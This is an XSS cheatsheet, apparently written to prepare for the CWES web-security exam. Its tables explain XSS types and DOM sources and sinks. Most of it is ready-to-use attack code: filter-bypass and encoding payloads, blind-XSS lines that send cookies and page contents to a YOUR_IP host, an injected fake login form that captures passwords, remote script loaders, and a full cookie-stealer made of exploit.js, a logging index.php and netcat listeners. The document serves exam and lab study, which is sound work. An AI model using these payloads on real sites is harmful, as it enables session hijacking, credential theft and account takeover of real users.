Post

CWES Cheatsheet — XSS

CWES Cheatsheet — XSS

XSS (cross-site scripting) is all about injecting malicious scripts into pages viewed by other users. three main types – stored, reflected, and DOM-based. know when each one applies.

additional resources:


identifying XSS – the quick workflow

StepIf you see…Action to takeWhat to look for in source
1A search box or formType test123 and searchFind where test123 is in the code
2<div>test123</div>Use <script>alert(1)</script>Does the script tag appear in the source?
3<input value="test123">Use "><script>alert(1)</script>Did you “close” the input tag correctly?
4var x = 'test123';Use ';alert(1)//Did you break out of the ' quotes?
5Page says “Blocked”Try <img src=x onerror=alert(1)>See if they only blocked the word “script”

types of XSS

TypeDescription
Stored (Persistent) XSSThe most critical type. occurs when user input is stored on the back-end database and then displayed upon retrieval (e.g., posts or comments)
Reflected (Non-Persistent) XSSOccurs when user input is displayed on the page after being processed by the backend server, but without being stored (e.g., search result or error message)
DOM-based XSSAnother non-persistent type that occurs when user input is directly shown in the browser and is completely processed on the client-side, without reaching the back-end server (e.g., through client-side HTTP parameters or anchor tags)

DOM XSS – sinks and sources

common sources (where user input enters):

  • document.URL
  • document.referrer
  • location.href
  • location.search
  • location.hash
  • window.name

common sinks (where input gets executed):

  • innerHTML
  • outerHTML
  • document.write()
  • document.writeln()
  • eval()
  • setTimeout() / setInterval()
  • location.href
  • jQuery.html() / $().html()

look for patterns like element.innerHTML = location.hash or document.write(decodeURIComponent(location.search)) in page source JS. that’s your DOM XSS.


XSS payloads reference

CodeDescription
XSS Payloads 
<script>alert(window.origin)</script>Basic XSS payload
<script>alert(document.cookie)</script>Cookie disclosure
<plaintext>Basic XSS payload
<script>print()</script>Basic XSS payload
<img src="" onerror=alert(window.origin)>HTML-based XSS payload
<img src="" onerror=alert(document.cookie)>DOM attacks
<script>document.body.style.background = "#141d2b"</script>Change background color
<script>document.body.background = "https://www.hackthebox.eu/images/logo-htb.svg"</script>Change background image
<script>document.title = 'HackTheBox Academy'</script>Change website title
<script>document.getElementsByTagName('body')[0].innerHTML = 'text'</script>Overwrite website’s main body
<script>document.getElementById('urlform').remove();</script>Remove certain HTML element
<script src="http://OUR_IP/script.js"></script>Load remote script
<script>new Image().src='http://OUR_IP/index.php?c='+document.cookie</script>Send cookie details to us
Commands 
python xsstrike.py -u "http://SERVER_IP:PORT/index.php?task=test"Run xsstrike on a url parameter
sudo nc -lvnp 80Start netcat listener
sudo php -S 0.0.0.0:80Start PHP server to allow the victim to load remote script from attacker

filter bypass payloads

CodeDescription
<img src=x onerror=alert(1)>When <script> is blocked
<svg onload=alert(1)>SVG tag bypass
<svg/onload=alert(1)>No space needed
<body onload=alert(1)>Body tag event
<input onfocus=alert(1) autofocus>Auto-triggering input
<details open ontoggle=alert(1)>Details tag bypass
<marquee onstart=alert(1)>Marquee tag bypass
<video src=x onerror=alert(1)>Video tag
<audio src=x onerror=alert(1)>Audio tag
<iframe src="javascript:alert(1)">iframe with javascript URI
<a href="javascript:alert(1)">click</a>Anchor tag
<math><mtext><table><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(1) src=1>">Nested tag confusion bypass

XSS filter evasion techniques

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# Case manipulation
<ScRiPt>alert(1)</ScRiPt>

# Encoding payloads (URL encode)
%3Cscript%3Ealert(1)%3C/script%3E

# Double URL encoding
%253Cscript%253Ealert(1)%253C/script%253E

# HTML entity encoding
&#60;script&#62;alert(1)&#60;/script&#62;

# Event handler without script tag
<img src=x onerror=alert(1)>

# Using javascript: URI
<a href="javascript:alert(1)">click</a>

# Breaking out of attribute context
" onfocus=alert(1) autofocus="
' onfocus=alert(1) autofocus='

# Using SVG with encoding
<svg><script>&#97;&#108;&#101;&#114;&#116;(1)</script></svg>

# Bypassing tag blacklist with capitalization
<IMG SRC=x onerror=alert(1)>

# Null byte (older apps)
<scr%00ipt>alert(1)</script>

# Using backticks instead of parentheses
<img src=x onerror=alert`1`>

# String.fromCharCode to avoid blocked words
<img src=x onerror=alert(String.fromCharCode(88,83,83))>

blind XSS

use when you can’t see the output yourself (e.g. admin panel, support tickets, registration forms reviewed by admin).

detection – use different filenames per field to identify which one fires:

1
2
3
4
5
6
7
8
<!-- In username field -->
<script src=http://YOUR_IP/username></script>

<!-- In email field -->
<script src=http://YOUR_IP/email></script>

<!-- In message field -->
<script src=http://YOUR_IP/message></script>

start a listener:

1
2
3
sudo python3 -m http.server 8000
# or
sudo nc -lvnp 80

whichever filename you see in your server logs = that’s the vulnerable field.

blind XSS exfiltration payloads:

1
2
3
4
5
6
7
8
<!-- Cookie steal -->
<script>new Image().src='http://YOUR_IP/?c='+document.cookie</script>

<!-- Full page exfiltration -->
<script>new Image().src='http://YOUR_IP/?d='+btoa(document.body.innerHTML)</script>

<!-- Current URL exfiltration -->
<script>new Image().src='http://YOUR_IP/?u='+encodeURIComponent(document.location)</script>

XSS to RCE chaining

the CWES exam requires vulnerability chaining. XSS alone won’t get you flags – chain it with:

ChainHow
XSS -> Cookie Steal -> Session HijackSteal admin cookie, access admin panel
XSS -> CSRFForce admin to perform actions (password change, user creation)
XSS -> PhishingInject fake login form, capture creds
XSS -> Admin Panel -> File Upload/CMD InjectionUse stolen session to access privileged functionality

phishing via XSS

login form injection – single one-liner payload:

1
document.write('<h3>Please login to continue</h3><form action=http://YOUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();

wrap it in a script tag and use <!-- at the end to comment out any trailing HTML:

1
2
3
4
<script>
document.write('<h3>Please login to continue</h3><form action=http://YOUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();
</script>
<!--

send the phishing link URL to the victim and start your listener. when the victim submits their credentials, you’ll see them in your server logs:

1
username=admin&password=p1zd0nt57341myp455

remote JS file include – test payloads for different contexts:

1
2
3
4
5
6
<script src=http://YOUR_IP/1></script>
'><script src=http://YOUR_IP/2></script>
"><script src=http://YOUR_IP/3></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://YOUR_IP\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//YOUR_IP");a.send();</script>
<script>$.getScript("http://YOUR_IP")</script>

setup cookie stealer – host these two files on your kali with php -S 0.0.0.0:80:

exploit.js:

1
new Image().src='http://YOUR_IP/index.php?c='+document.cookie;

index.php:

1
2
3
4
5
6
7
8
9
10
11
<?php
if (isset($_GET['c'])) {
    $list = explode(";", $_GET['c']);
    foreach ($list as $key => $value) {
        $cookie = urldecode($value);
        $file = fopen("cookies.txt", "a+");
        fputs($file, "Victim IP:{$_SERVER['REMOTE_ADDR']} | Cookie:{$cookie}\n");
        fclose($file);
    }
}
?>

inject the payload in the vulnerable field (e.g. stored XSS via registration):

1
"><script src=http://YOUR_IP/exploit.js></script>

wait for the admin to review your registration. stolen cookie value will be saved in cookies.txt:

1
Victim IP: 10.129.34.48 | Cookie: cookie=c00k1355h0u1d8353cu23d

then use the saved cookie value in your browser session to gain access.


XSStrike – automated XSS testing

1
2
3
4
5
6
7
8
9
10
11
12
13
14
python xsstrike.py -u "http://SERVER_IP:PORT/index.php?task=test"

# Example output:
# XSStrike v3.1.4
# [~] Checking for DOM vulnerabilities
# [+] WAF Status: Offline
# [!] Testing parameter: task
# [!] Reflections found: 1
# [~] Analysing reflections
# [~] Generating payloads
# [!] Payloads generated: 3072
# [+] Payload: <HtMl%09onPoIntERENTER+=+confirm()>
# [!] Efficiency: 100
# [!] Confidence: 10

← Back to CWES Cheatsheet Index

This post is licensed under CC BY 4.0 by the author.